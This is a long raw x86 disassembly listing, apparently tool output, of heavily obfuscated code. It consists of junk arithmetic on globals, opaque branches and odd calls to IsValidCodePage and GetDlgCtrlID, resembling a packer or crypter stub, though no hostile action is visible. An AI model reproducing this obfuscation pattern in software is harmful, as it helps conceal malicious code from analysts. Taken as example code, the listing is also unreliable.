mov byte [0x100ad00e], al
mov ecx, dword [0x100ad0b4]
sub ecx, 0xd
mov word [0x100ad0e4], cx
movsx edx, byte [ebp - 5]
sub edx, 0x75d4
mov byte [str.px_04X_], dl
mov eax, dword [0x100ad0f8]
or eax, dword [0x100ad0fc]
je 0x100533d8
movsx ecx, word [0x100ad11c]
mov dword [ebp - 0x4b0], ecx
jmp 0x100533e2
movsx edx, byte [ebp - 2]
mov dword [ebp - 0x4b0], edx
mov al, byte [ebp - 0x4b0]
mov byte [0x100ad00d], al
movsx ecx, byte [0x100ad042]
mov edx, dword [ebp - 0x44]
sub edx, ecx
mov dword [ebp - 0x44], edx
movzx eax, word [ebp - 0x24]
cdq
mov ecx, eax
xor ecx, 0x97bc5da8
mov eax, dword [ebp - 0x34]
cdq
sub eax, ecx
mov dword [ebp - 0x34], eax
jmp 0x10053478
movsx edx, byte [0x100ad042]
test edx, edx
je 0x10053478
movzx eax, word [ebp - 0x28]
add eax, 0x5f03c5ff
imul eax, dword [ebp - 0x34]
mov dword [ebp - 0x34], eax
movsx eax, byte [0x100ad073]
sar eax, 8
cdq
mov dword [0x100ad148], eax
mov dword [0x100ad14c], edx
mov cl, byte [0x100adbec]
mov byte [ebp - 1], cl
mov edx, dword [0x100ad138]
and edx, 0xcc6b
mov byte [ebp - 3], dl
movzx eax, word [ebp - 0x28]
cdq
add eax, 0x4174ba2d
adc edx, 0xe33d9
mov dword [0x100ad150], eax
mov dword [0x100ad154], edx
jmp 0x100534f0
mov eax, dword [0x100ad0e0]
mov byte [ebp - 3], al
movzx ecx, byte [ebp - 3]
test ecx, ecx
jne 0x10053490
mov byte [ebp - 0x60], 1
jmp 0x10053494
mov byte [ebp - 0x60], 0
mov dl, byte [ebp - 0x60]
mov byte [ebp - 1], dl
movzx eax, word [0x100ad0f0]
and eax, 0x99
movsx ecx, byte [str.E2_wcsrchr]
lea edx, [eax + ecx - 0x99]
mov byte [0x100ad042], dl
mov eax, 1
imul ecx, eax, 0x17a6
mov dl, byte [0x100ad0c8]
mov byte [ecx + 0x100e7138], dl
mov al, byte [0x100adbec]
mov byte [ebp - 3], al
movsx ecx, byte [ebp - 1]
movsx edx, byte [str.ZFreeSid]
imul ecx, edx
movsx eax, byte [ebp - 1]
sub eax, ecx
mov byte [ebp - 1], al
mov ecx, dword [ebp - 0x1e4]
add ecx, 0x317
mov dword [ebp - 0x135c], ecx
mov edx, dword [0x100ad148]
mov eax, dword [0x100ad14c]
push 0xb9cad
push 0x5e1c09b7
push eax
push edx
call fcn.1007a8a0
mov ecx, eax
movzx eax, word [0x100ad120]
cdq
sub eax, ecx
mov word [0x100ad120], ax
mov eax, dword [ebp - 0x34]
cdq
add eax, 0xd865a445
adc edx, 0xab6d7
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], edx
mov dl, byte [0x100ad00d]
mov byte [0x100ad00e], dl
movzx eax, word [ebp - 0x18]
cdq
mov ecx, eax
mov edx, dword [0x100ad148]
mov eax, dword [0x100ad14c]
mov dword [ebp - 0x2258], eax
add ecx, edx
movzx eax, word [ebp - 0x18]
cdq
add eax, ecx
mov word [ebp - 0x18], ax
mov ecx, dword [ebp - 0x1e4]
add ecx, 0x395
mov dword [ebp - 0x67c], ecx
mov edx, 4
mov word [0x100ad0c0], dx
movsx eax, byte [0x100ad043]
imul ecx, eax, 0x91
mov byte [0x100ad037], cl
mov edx, dword [0x100ad108]
mov eax, dword [0x100ad10c]
mov dword [ebp - 0x225c], eax
sub edx, 0x7d
mov word [0x100ad0ac], dx
mov ecx, dword [0x100ad148]
mov edx, dword [0x100ad14c]
add ecx, 0xd3070a85
adc edx, 0
mov dword [ebp - 0x1d50], ecx
mov dword [ebp - 0x1d4c], edx
mov eax, dword [ebp - 0x1d50]
or eax, dword [ebp - 0x1d4c]
jne 0x10053605
xor ecx, ecx
mov dword [ebp - 0xfbc], 1
mov dword [ebp - 0xfb8], ecx
jmp 0x10053610
xorps xmm0, xmm0
movlpd qword [ebp - 0xfbc], xmm0
movzx eax, byte [ebp - 3]
cdq
add eax, dword [0x100ad0e8]
adc edx, dword [0x100ad0ec]
sub eax, dword [ebp - 0xfbc]
sbb edx, dword [ebp - 0xfb8]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], edx
movsx edx, word [0x100ad0c0]
mov dword [ebp - 0x4b4], edx
cmp dword [ebp - 0x4b4], 4
ja case.default.0x10053653
mov eax, dword [ebp - 0x4b4]
jmp dword [eax*4 + 0x1007888c]
movzx ecx, byte [ebp - 3]
movzx edx, word [ebp - 0x20]
add ecx, edx
movzx eax, byte [ebp - 3]
sub eax, ecx
mov byte [ebp - 3], al
movzx ecx, byte [0x100ad00f]
sub ecx, dword [ebp - 0x34]
jne 0x1005368d
xor edx, edx
mov dword [ebp - 0x1d58], 1
mov dword [ebp - 0x1d54], edx
jmp 0x10053698
xorps xmm0, xmm0
movlpd qword [ebp - 0x1d58], xmm0
movsx eax, word [0x100ad0c4]
cdq
mov ecx, 0xcf9c0497
sub ecx, eax
or ecx, dword [ebp - 0x1d58]
mov word [0x100ad0d0], cx
movsx edx, word [0x100ad0c0]
movsx eax, word [ebp - 0x14]
imul edx, eax
movsx ecx, word [0x100ad0c0]
sub ecx, edx
mov word [0x100ad0c0], cx
movsx edx, byte [0x100ad09a]
sub edx, 0x2e9a8d54
mov byte [0x100ad042], dl
movzx eax, byte [ebp - 4]
mov ecx, dword [0x100ad15c]
imul ecx, eax
mov dword [0x100ad15c], ecx
jmp case.default.0x10053653
mov ecx, dword [ebp - 0x40]
add ecx, 0xc18a41f
movsx eax, byte [str.E2_wcsrchr]
movsx edx, word [0x100ad0cc]
add eax, edx
cdq
add ecx, eax
movsx eax, word [ebp - 0x1c]
imul eax, dword [ebp - 0x48]
movsx edx, byte [0x100ad073]
movsx esi, byte [0x100ad042]
add edx, esi
add eax, edx
sub ecx, eax
mov word [ebp - 0x20], cx
mov ax, word [ebp - 0xc]
mov word [ebp - 0x14], ax
movsx ecx, word [ebp - 0xc]
sub ecx, 0x2ad9c9a0
mov byte [0x100ad042], cl
jmp case.default.0x10053653
movzx edx, word [0x100ad120]
add edx, dword [ebp - 0x44]
mov word [0x100ad120], dx
mov eax, dword [ebp - 0x34]
cdq
mov ecx, dword [0x100ad0f8]
sub ecx, eax
mov eax, dword [0x100ad0fc]
sbb eax, edx
mov edx, dword [0x100ad0f8]
sub edx, ecx
mov ecx, dword [0x100ad0fc]
sbb ecx, eax
mov dword [0x100ad0f8], edx
mov dword [0x100ad0fc], ecx
movsx eax, word [0x100ad0e4]
cdq
push edx
push eax
mov edx, dword [0x100ad164]
push edx
mov eax, dword [0x100ad160]
push eax
call fcn.1007a8a0
mov dword [0x100ad160], eax
mov dword [0x100ad164], edx
movsx eax, word [0x100ad0d0]
cdq
add eax, 0xaad4de3c
mov word [0x100ad0c4], ax
movsx ecx, word [ebp - 0x14]
movsx edx, word [ebp - 0xc]
add ecx, edx
mov word [ebp - 0x14], cx
movsx eax, word [0x100ad0d0]
shl eax, 4
mov byte [str.E2_wcsrchr], al
jmp case.default.0x10053653
movzx eax, word [ebp - 0x20]
cdq
push edx
push eax
mov ecx, dword [0x100ad0ec]
push ecx
mov edx, dword [0x100ad0e8]
push edx
call fcn.1007a8a0
mov dword [ebp - 0x1d60], eax
mov dword [ebp - 0x1d5c], edx
mov eax, dword [ebp - 0x1d60]
or eax, dword [ebp - 0x1d5c]
jne 0x10053832
mov dword [ebp - 0x4b8], 1
jmp 0x1005383c
mov dword [ebp - 0x4b8], 0
movzx ecx, byte [ebp - 4]
imul eax, ecx, 0xecf3
imul eax, dword [ebp - 0x4b8]
cdq
mov esi, eax
mov edi, edx
movsx eax, byte [ebp - 2]
cdq
mov ebx, eax
mov eax, edx
mov dword [ebp - 0x1c8c], eax
mov eax, dword [0x100ad118]
cdq
push edx
push eax
mov edx, dword [0x100ad13c]
push edx
mov eax, dword [0x100ad138]
push eax
call fcn.1007a8a0
sub ebx, eax
mov eax, dword [ebp - 0x1c8c]
sbb eax, edx
push eax
push ebx
push edi
push esi
call fcn.1007a8a0
mov byte [ebp - 4], al
mov dword [ebp - 0x34], 0x2182192f
movsx ecx, byte [ebp - 2]
imul edx, ecx, 0x38
mov dword [0x100ad118], edx
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x4c]
sub eax, 0x27
sbb ecx, 0
mov edx, dword [ebp - 0x50]
mov esi, dword [ebp - 0x4c]
sub edx, eax
sbb esi, ecx
mov dword [ebp - 0x50], edx
mov dword [ebp - 0x4c], esi
jmp case.default.0x10053653
movsx eax, word [ebp - 0x1c]
movzx ecx, byte [ebp - 3]
imul eax, ecx
movsx edx, word [ebp - 0x1c]
sub edx, eax
mov word [ebp - 0x1c], dx
movsx eax, byte [ebp - 1]
mov ecx, dword [0x100ad0a8]
imul ecx, eax
movzx edx, word [ebp - 0x28]
movzx eax, word [ebp - 0x20]
sub edx, eax
not edx
imul ecx, edx
mov eax, ecx
cdq
mov ecx, eax
mov esi, edx
movzx eax, word [ebp - 0x10]
cdq
mov edi, eax
mov ebx, edx
movzx eax, word [ebp - 0x18]
cdq
mov dword [ebp - 0x1c90], esi
mov esi, dword [ebp - 0x4c]
sub eax, dword [ebp - 0x50]
sbb edx, esi
or edi, eax
or ebx, edx
add ecx, edi
mov esi, dword [ebp - 0x1c90]
adc esi, ebx
mov dword [0x100ad108], ecx
mov dword [0x100ad10c], esi
movzx edx, byte [str.px_04X_]
sub edx, 0x56
mov word [ebp - 0x14], dx
mov eax, dword [0x100adbec]
xor ecx, ecx
mov dword [0x100ad110], eax
mov dword [0x100ad114], ecx
mov edx, 0x4b3b
mov dword [0x100ad128], 0x328895a
mov dword [0x100ad12c], edx
mov eax, 0xbf
mov word [ebp - 0x154], ax
xor ecx, ecx
mov word [ebp - 0x152], cx
mov edx, 4
imul eax, edx, 0x2952
movsx ecx, byte [0x100ad043]
imul ecx, dword [eax + 0x101af548]
mov byte [0x100ad043], cl
movsx edx, word [ebp - 0x1c]
movzx eax, word [0x100ad120]
imul edx, eax
mov word [ebp - 0x1c], dx
movzx eax, byte [ebp - 3]
cdq
mov ecx, dword [ebp - 0x50]
mov esi, dword [ebp - 0x4c]
push edx
push eax
push esi
push ecx
call fcn.1007a8a0
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], edx
mov ecx, dword [ebp - 0x44]
sub ecx, 8
mov edx, dword [0x100ad0c8]
shl edx, cl
mov dword [0x100ad0c8], edx
mov dword [ebp - 0xac], 0
mov dword [ebp - 0xb0], 0
jmp 0x10053a02
mov eax, dword [ebp - 0xac]
add eax, 1
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 1
jae 0x10054e44
movsx ecx, byte [0x100ad00d]
movsx edx, word [0x100ad0c0]
cmp ecx, edx
jle 0x10053a2a
movsx eax, word [ebp - 0xc]
cmp eax, 0x4c
jne 0x10053a75
movzx eax, word [ebp - 0x18]
sub eax, 0x6777ec36
cdq
mov dword [0x100ad110], eax
mov dword [0x100ad114], edx
movzx ecx, word [ebp - 0x28]
mov edx, dword [0x100ad0e0]
imul edx, ecx
mov eax, dword [0x100ad0e0]
imul eax, edx
mov dword [0x100ad0e0], eax
mov cl, byte [0x100adbec]
mov byte [ebp - 1], cl
movsx edx, byte [0x100ad042]
add edx, 0x2e91bb2
mov dword [0x100ad0a8], edx
mov byte [str.ZFreeSid], 0xb0
mov eax, dword [0x100ad148]
mov ecx, dword [0x100ad14c]
mov dword [ebp - 0x1d68], eax
mov dword [ebp - 0x1d64], ecx
mov edx, dword [ebp - 0x1d68]
or edx, dword [ebp - 0x1d64]
je 0x10053b81
movsx eax, word [ebp - 0x14]
cmp dword [ebp - 0x34], eax
jge 0x10053aba
mov dword [ebp - 0x4bc], 1
jmp 0x10053ac4
mov dword [ebp - 0x4bc], 0
cmp dword [ebp - 0x34], 0x5c
jge 0x10053ad6
mov dword [ebp - 0x4c0], 1
jmp 0x10053ae0
mov dword [ebp - 0x4c0], 0
mov ecx, dword [ebp - 0x4bc]
cmp ecx, dword [ebp - 0x4c0]
jne 0x10053b7c
movsx eax, word [0x100ad0bc]
cdq
push 0xcc7c8
push 0xf4290e40
push edx
push eax
call fcn.1007a8a0
mov dword [ebp - 0x34], eax
mov edx, dword [0x100ad0e0]
xor eax, eax
sub edx, 0xac25f8d1
sbb eax, 0x40f
mov dword [0x100ad150], edx
mov dword [0x100ad154], eax
movsx ecx, byte [ebp - 1]
add ecx, 0xee
mov byte [0x100ad037], cl
movzx eax, byte [ebp - 4]
cdq
add eax, 0x614c9952
mov byte [ebp - 4], al
movsx eax, byte [0x100ad00e]
sar eax, 5
cdq
mov dword [0x100ad0f8], eax
mov dword [0x100ad0fc], edx
movzx eax, byte [0x100ad0a6]
cdq
mov ecx, dword [ebp - 0x30]
mov esi, dword [ebp - 0x2c]
push edx
push eax
push esi
push ecx
call fcn.1007a8a0
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], edx
jmp 0x10053c09
movsx edx, byte [str.ZFreeSid]
test edx, edx
je 0x10053c09
mov eax, dword [ebp - 0x44]
sar eax, 1
mov dword [0x100ad158], eax
movzx eax, word [ebp - 0x10]
movsx ecx, word [ebp - 0x14]
movzx edx, word [ebp - 0x18]
xor ecx, edx
sub eax, ecx
cdq
mov dword [0x100ad160], eax
mov dword [0x100ad164], edx
movzx eax, word [ebp - 0x10]
test eax, eax
jne 0x10053bc6
mov dword [ebp - 0x4c4], 1
jmp 0x10053bd0
mov dword [ebp - 0x4c4], 0
movsx ecx, word [ebp - 0x14]
not ecx
movsx edx, word [0x100ad11c]
imul ecx, edx
imul ecx, dword [ebp - 0x4c4]
mov dword [ebp - 0x38], ecx
movsx eax, byte [0x100ad037]
movsx ecx, byte [str.ZFreeSid]
sub eax, ecx
movsx edx, byte [0x100ad037]
add edx, eax
mov byte [0x100ad037], dl
movsx eax, byte [str.ZFreeSid]
cdq
mov ecx, dword [ebp - 0x30]
mov esi, dword [ebp - 0x2c]
add ecx, 1
adc esi, 0
mov dword [ebp - 0x1d70], eax
mov dword [ebp - 0x1d6c], edx
mov dword [ebp - 0x1d78], ecx
mov dword [ebp - 0x1d74], esi
mov edx, dword [ebp - 0x1d70]
cmp edx, dword [ebp - 0x1d78]
jne 0x100542bb
mov eax, dword [ebp - 0x1d6c]
cmp eax, dword [ebp - 0x1d74]
jne 0x100542bb
cmp dword [0x100ad15c], 0
je 0x10053c77
mov ecx, dword [ebp - 0x34]
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
mov word [0x100ad0ac], ax
jmp 0x10053dc2
cmp dword [0x100ad0e0], 0
je 0x10053c90
xor edx, edx
je 0x10053c90
mov dword [ebp - 0x4c8], 1
jmp 0x10053c9a
mov dword [ebp - 0x4c8], 0
mov eax, dword [ebp - 0x4c8]
not eax
test eax, eax
je 0x10053cf9
movzx ecx, word [0x100ad0f0]
sub ecx, 0x4a
mov word [0x100ad0bc], cx
movzx edx, byte [0x100ad0a6]
movzx eax, word [ebp - 0x20]
lea ecx, [eax + edx + 0xd459]
mov word [ebp - 0x20], cx
movzx eax, byte [ebp - 3]
cdq
sub eax, dword [ebp - 0x40]
mov byte [ebp - 3], al
movzx edx, word [0x100ad120]
add edx, 0x18127a0e
mov word [0x100ad0d0], dx
mov al, byte [ebp - 3]
sub al, 1
mov byte [ebp - 3], al
jmp 0x10053dc2
movzx ecx, word [ebp - 0x10]
cmp ecx, dword [0x100ad0b4]
jle 0x10053dc2
mov edx, dword [0x100adbec]
mov dword [ebp - 0x44], edx
mov eax, dword [0x100ad0e0]
sub eax, 0xc2e3da4
mov dword [ebp - 0x44], eax
movzx ecx, word [ebp - 0x10]
sub ecx, 0xa467
mov dword [0x100ad100], ecx
movsx edx, word [ebp - 0xc]
test edx, edx
je 0x10053d44
mov eax, dword [0x100ad0e0]
mov dword [ebp - 0x4cc], eax
jmp 0x10053d51
movsx ecx, byte [str.ZFreeSid]
mov dword [ebp - 0x4cc], ecx
mov dx, word [ebp - 0x4cc]
mov word [ebp - 0x20], dx
mov dword [ebp - 0x44], 8
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x1d80], eax
mov dword [ebp - 0x1d7c], ecx
mov edx, dword [ebp - 0x1d80]
or edx, dword [ebp - 0x1d7c]
jne 0x10053d8f
mov dword [ebp - 0x4d0], 1
jmp 0x10053d99
mov dword [ebp - 0x4d0], 0
movsx eax, word [ebp - 0x1c]
xor eax, dword [ebp - 0x4d0]
imul eax, dword [ebp - 0x34]
movzx ecx, word [ebp - 0x28]
movsx edx, word [0x100ad0e4]
movzx esi, word [ebp - 0x24]
add edx, esi
or ecx, edx
add eax, ecx
mov word [0x100ad0ac], ax
movsx eax, byte [0x100ad09a]
cmp eax, 1
jne 0x100542bb
movzx eax, word [ebp - 0x24]
cdq
mov dword [ebp - 0x1d88], eax
mov dword [ebp - 0x1d84], edx
mov ecx, dword [0x100ad0e8]
cmp ecx, dword [ebp - 0x1d88]
jne 0x10053e03
mov edx, dword [0x100ad0ec]
cmp edx, dword [ebp - 0x1d84]
je 0x10053f98
movsx eax, word [ebp - 0x14]
push eax
call dword [sym.imp.USER32.dll_GetDlgCtrlID]
mov dword [0x100ad140], eax
cmp dword [0x100ad140], 0
je 0x10053f93
movsx ecx, byte [ebp - 1]
test ecx, ecx
je 0x10053f04
mov edx, dword [ebp - 0x48]
add edx, 0x22731ac4
mov byte [0x100ad0a6], dl
movzx eax, word [ebp - 0x24]
cdq
mov ecx, dword [0x100ad0f8]
sub ecx, eax
mov eax, dword [0x100ad0fc]
sbb eax, edx
mov edx, dword [0x100ad0f8]
sub edx, ecx
mov ecx, dword [0x100ad0fc]
sbb ecx, eax
mov dword [0x100ad0f8], edx
mov dword [0x100ad0fc], ecx
mov byte [ebp - 2], 0x4e
mov edx, dword [0x100ad0a8]
not edx
and edx, 0x6ed2
jne 0x10053e93
xor eax, eax
mov dword [ebp - 0xfc4], 1
mov dword [ebp - 0xfc0], eax
jmp 0x10053e9e
xorps xmm0, xmm0
movlpd qword [ebp - 0xfc4], xmm0
mov esi, dword [0x100ad150]
add esi, dword [ebp - 0xfc4]
mov edi, dword [0x100ad154]
adc edi, dword [ebp - 0xfc0]
movsx eax, byte [ebp - 5]
cdq
add eax, dword [ebp - 0x40]
adc edx, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x48]
xor ebx, ebx
push ebx
push ecx
push edx
push eax
call fcn.1007a8a0
not eax
not edx
push edx
push eax
push edi
push esi
call fcn.1007a8a0
mov dword [0x100ad0a8], eax
mov edx, dword [0x100adbec]
xor eax, eax
mov dword [0x100ad0e8], edx
mov dword [0x100ad0ec], eax
movzx ecx, word [ebp - 0x18]
imul ecx, dword [ebp - 0x38]
mov dword [ebp - 0x38], ecx
jmp 0x10053f93
movsx edx, word [ebp - 0x1c]
test edx, edx
je 0x10053f1e
cmp dword [ebp - 0x44], 0
jne 0x10053f1e
mov dword [ebp - 0x4d4], 0
jmp 0x10053f28
mov dword [ebp - 0x4d4], 1
mov eax, dword [0x100ad0f8]
or eax, dword [0x100ad0fc]
jne 0x10053f41
mov dword [ebp - 0x4d8], 1
jmp 0x10053f4b
mov dword [ebp - 0x4d8], 0
mov ecx, dword [ebp - 0x4d4]
cmp ecx, dword [ebp - 0x4d8]
jne 0x10053f93
mov eax, dword [0x100ad128]
mov edx, dword [0x100ad12c]
mov cl, 2
call fcn.1007a9b0
mov byte [0x100ad072], al
movzx edx, byte [ebp - 3]
movsx eax, word [0x100ad0bc]
imul edx, eax
mov byte [ebp - 3], dl
xor ecx, ecx
mov dword [0x100ad128], 0x64365bf5
mov dword [0x100ad12c], ecx
jmp 0x100541af
mov edx, 0xd0c3b36b
or edx, 0xfffca8d0
je 0x10053fd5
mov eax, dword [0x100adbec]
mov dword [ebp - 0x48], eax
mov eax, dword [0x100ad128]
mov edx, dword [0x100ad12c]
mov cl, 3
call fcn.1007a8e0
mov byte [0x100ad09a], al
movsx cx, byte [ebp - 5]
mov word [0x100ad11c], cx
jmp 0x100541af
mov edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x1d90], edx
mov dword [ebp - 0x1d8c], eax
mov ecx, dword [0x100ad13c]
cmp ecx, dword [ebp - 0x1d8c]
ja 0x10054011
jb 0x10054005
mov edx, dword [0x100ad138]
cmp edx, dword [ebp - 0x1d90]
jae 0x10054011
mov dword [ebp - 0x4dc], 1
jmp 0x1005401b
mov dword [ebp - 0x4dc], 0
movzx eax, word [ebp - 0x10]
imul eax, dword [ebp - 0x4dc]
test eax, eax
je 0x100541af
movzx ecx, word [0x100ad120]
movsx edx, byte [0x100ad043]
imul ecx, edx
movzx eax, word [0x100ad120]
sub eax, ecx
mov word [0x100ad120], ax
mov eax, dword [0x100ad158]
cdq
mov ecx, dword [ebp - 0x30]
mov esi, dword [ebp - 0x2c]
push esi
push ecx
push edx
push eax
call fcn.1007a8a0
mov ecx, eax
mov esi, edx
movsx eax, word [0x100ad0d0]
cdq
add eax, dword [0x100ad110]
adc edx, dword [0x100ad114]
not eax
not edx
push edx
push eax
push esi
push ecx
call fcn.1007a8a0
mov dword [ebp - 0x1d98], eax
mov dword [ebp - 0x1d94], edx
mov edx, dword [ebp - 0x1d98]
or edx, dword [ebp - 0x1d94]
jne 0x100540ae
mov dword [ebp - 0x4e0], 1
jmp 0x100540b8
mov dword [ebp - 0x4e0], 0
movzx eax, word [ebp - 0x24]
mov ecx, dword [ebp - 0x48]
imul ecx, eax
movsx edx, byte [0x100ad09a]
not edx
sub edx, dword [ebp - 0x48]
add ecx, edx
imul ecx, dword [ebp - 0x4e0]
test ecx, ecx
jne 0x100540e1
mov byte [ebp - 0x68], 1
jmp 0x100540e5
mov byte [ebp - 0x68], 0
mov al, byte [ebp - 0x68]
mov byte [0x100ad073], al
movsx ecx, word [0x100ad0c4]
test ecx, ecx
jne 0x10054104
mov dword [ebp - 0x4e4], 1
jmp 0x1005410e
mov dword [ebp - 0x4e4], 0
movsx edx, word [0x100ad130]
test edx, edx
jne 0x1005412d
xor eax, eax
mov dword [ebp - 0xfcc], 1
mov dword [ebp - 0xfc8], eax
jmp 0x10054138
xorps xmm0, xmm0
movlpd qword [ebp - 0xfcc], xmm0
movsx eax, word [0x100ad0c0]
not eax
add eax, dword [ebp - 0x4e4]
cdq
mov ecx, eax
mov esi, edx
mov edx, dword [0x100ad0e8]
add edx, dword [ebp - 0xfcc]
mov eax, dword [0x100ad0ec]
adc eax, dword [ebp - 0xfc8]
xor ecx, edx
xor esi, eax
movzx eax, word [ebp - 0x10]
not eax
movzx edx, word [ebp - 0x28]
imul eax, edx
not eax
movzx edx, word [0x100ad120]
movsx edi, word [ebp - 0xc]
add edx, edi
imul eax, edx
cdq
push edx
push eax
push esi
push ecx
call fcn.1007a8a0
mov dword [0x100ad150], eax
mov dword [0x100ad154], edx
movsx eax, word [ebp - 0x1c]
movsx ecx, byte [ebp - 2]
sub eax, ecx
movsx edx, word [ebp - 0x1c]
sub edx, eax
mov word [ebp - 0x1c], dx
jmp 0x100542bb
mov byte [str.ZFreeSid], 0xb0
mov eax, dword [ebp - 0x48]
add eax, 0xc92
mov byte [0x100ad037], al
mov eax, dword [0x100ad108]
mov edx, dword [0x100ad10c]
mov cl, 6
call fcn.1007a8e0
mov dword [ebp - 0x34], eax
mov cl, byte [0x100adbec]
mov byte [ebp - 1], cl
movsx eax, byte [0x100ad073]
cdq
mov ecx, dword [0x100ad148]
mov esi, dword [0x100ad14c]
push edx
push eax
push esi
push ecx
call fcn.1007a8a0
mov ecx, dword [0x100ad148]
mov esi, dword [0x100ad14c]
sub ecx, eax
sbb esi, edx
mov dword [0x100ad148], ecx
mov dword [0x100ad14c], esi
movzx eax, byte [ebp - 4]
add eax, 0x9a
cdq
mov dword [0x100ad150], eax
mov dword [0x100ad154], edx
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x2c]
sub edx, dword [0x100ad0e8]
sbb eax, dword [0x100ad0ec]
mov ecx, dword [ebp - 0x30]
mov esi, dword [ebp - 0x2c]
sub ecx, edx
sbb esi, eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x2c], esi
xor edx, edx
mov dword [0x100ad138], 0x25bdbd9c
mov dword [0x100ad13c], edx
mov eax, 4
mov word [ebp - 0x20], ax
movzx ecx, byte [0x100ad0a6]
mov edx, 0xda
sub edx, ecx
mov word [0x100ad120], dx
movsx eax, word [ebp - 0x14]
mov dword [0x100ad140], eax
movsx ecx, word [ebp - 0x1c]
imul edx, ecx, 0xe8
mov eax, dword [0x100ad0a8]
add eax, edx
mov dword [0x100ad0a8], eax
movzx ecx, word [ebp - 0x20]
mov dword [ebp - 0x4e8], ecx
cmp dword [ebp - 0x4e8], 4
ja case.default.0x100543c9
mov edx, dword [ebp - 0x4e8]
jmp dword [edx*4 + 0x100788a0]
movzx eax, word [ebp - 0x20]
sub eax, 0x68559681
mov byte [0x100ad072], al
movsx ecx, byte [0x100ad073]
movsx edx, byte [ebp - 2]
xor ecx, edx
mov byte [0x100ad073], cl
movsx eax, word [ebp - 0xc]
test eax, eax
je 0x10054404
mov cl, byte [0x100ad073]
mov byte [ebp - 0x69], cl
jmp 0x1005440d
mov dl, byte [str.ZFreeSid]
mov byte [ebp - 0x69], dl
movsx ax, byte [ebp - 0x69]
mov word [0x100ad11c], ax
jmp case.default.0x100543c9
mov cl, byte [0x100ad09a]
mov byte [ebp - 3], cl
movzx edx, word [ebp - 0x28]
movsx eax, byte [0x100ad037]
and edx, eax
mov word [ebp - 0x28], dx
movsx ecx, byte [ebp - 2]
movzx edx, byte [0x100ad0a6]
sub ecx, edx
mov byte [ebp - 2], cl
mov eax, 0xffffc5fe
mov word [0x100ad0c4], ax
jmp case.default.0x100543c9
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x2c]
mov dword [ebp - 0x1da0], ecx
mov dword [ebp - 0x1d9c], edx
mov eax, dword [ebp - 0x1da0]
or eax, dword [ebp - 0x1d9c]
jne 0x1005448b
xor ecx, ecx
mov dword [ebp - 0xfdc], 1
mov dword [ebp - 0xfd8], ecx
jmp 0x10054496
xorps xmm0, xmm0
movlpd qword [ebp - 0xfdc], xmm0
mov edx, dword [0x100ad148]
mov eax, dword [0x100ad14c]
mov ecx, dword [ebp - 0xfd8]
push ecx
mov ecx, dword [ebp - 0xfdc]
push ecx
push eax
push edx
call fcn.1007a8a0
mov ecx, eax
movsx eax, word [0x100ad130]
cdq
sub ecx, eax
mov dword [0x100ad0e0], ecx
movzx edx, word [ebp - 0x10]
movzx eax, word [0x100ad0b8]
add edx, eax
mov word [ebp - 0x10], dx
movsx ecx, word [ebp - 0x1c]
imul edx, ecx, 0xbe88bd92
mov dword [0x100ad0c8], edx
movzx eax, word [ebp - 0x18]
test eax, eax
je 0x10054505
mov ecx, dword [ebp - 0x50]
mov edx, dword [ebp - 0x4c]
mov dword [ebp - 0xfe4], ecx
mov dword [ebp - 0xfe0], edx
jmp 0x10054519
movsx eax, byte [0x100ad042]
cdq
mov dword [ebp - 0xfe4], eax
mov dword [ebp - 0xfe0], edx
mov al, byte [ebp - 0xfe4]
mov byte [0x100ad043], al
movsx ecx, byte [ebp - 1]
add ecx, 0x5e
movzx edx, word [ebp - 0x10]
sub edx, ecx
mov word [ebp - 0x10], dx
movzx eax, word [ebp - 0x28]
sub eax, 0x2b32
mov word [0x100ad0b8], ax
jmp case.default.0x100543c9
xor ecx, ecx
mov dword [0x100ad110], 0xd39e
mov dword [0x100ad114], ecx
movsx edx, byte [ebp - 5]
add edx, 0x20
mov byte [0x100ad00e], dl
movsx eax, word [0x100ad0b0]
test eax, eax
je 0x1005457f
movsx ecx, byte [ebp - 1]
mov dword [ebp - 0x4ec], ecx
jmp 0x1005458b
mov edx, dword [0x100ad0c8]
mov dword [ebp - 0x4ec], edx
mov al, byte [ebp - 0x4ec]
mov byte [0x100ad0a6], al
movsx ecx, byte [0x100ad073]
test ecx, ecx
jne 0x100545ad
mov dword [ebp - 0x4f0], 1
jmp 0x100545b7
mov dword [ebp - 0x4f0], 0
movzx edx, word [ebp - 0x28]
mov eax, dword [ebp - 0x48]
not eax
sub eax, dword [ebp - 0x4f0]
xor edx, eax
mov dword [0x100ad0b4], edx
movsx ecx, word [0x100ad0b0]
movsx edx, word [0x100ad0bc]
xor ecx, edx
mov word [0x100ad0b0], cx
jmp case.default.0x100543c9
mov eax, dword [0x100ad0d8]
mov ecx, dword [0x100ad0dc]
mov dword [ebp - 0x2264], ecx
sub eax, 0x72a03302
mov byte [0x100ad09a], al
mov edx, dword [0x100ad150]
sub edx, 0x9c
mov byte [0x100ad042], dl
cmp dword [ebp - 0x38], 0
je 0x10054629
mov ax, word [0x100ad0c0]
mov word [ebp - 0xfe], ax
jmp 0x10054634
mov cx, word [ebp - 0xc]
mov word [ebp - 0xfe], cx
mov dx, word [ebp - 0xfe]
mov word [0x100ad0c4], dx
movzx eax, word [ebp - 0x10]
add eax, 0x25bdbd9c
cdq
mov dword [ebp - 0x1da8], eax
mov dword [ebp - 0x1da4], edx
mov eax, dword [0x100ad138]
cmp eax, dword [ebp - 0x1da8]
jne 0x1005485f
mov ecx, dword [0x100ad13c]
cmp ecx, dword [ebp - 0x1da4]
jne 0x1005485f
movzx eax, word [ebp - 0x10]
add eax, 0x25bdbd9c
cdq
mov dword [ebp - 0x1db0], eax
mov dword [ebp - 0x1dac], edx
mov edx, dword [0x100ad150]
cmp edx, dword [ebp - 0x1db0]
jne 0x1005485f
mov eax, dword [0x100ad154]
cmp eax, dword [ebp - 0x1dac]
jne 0x1005485f
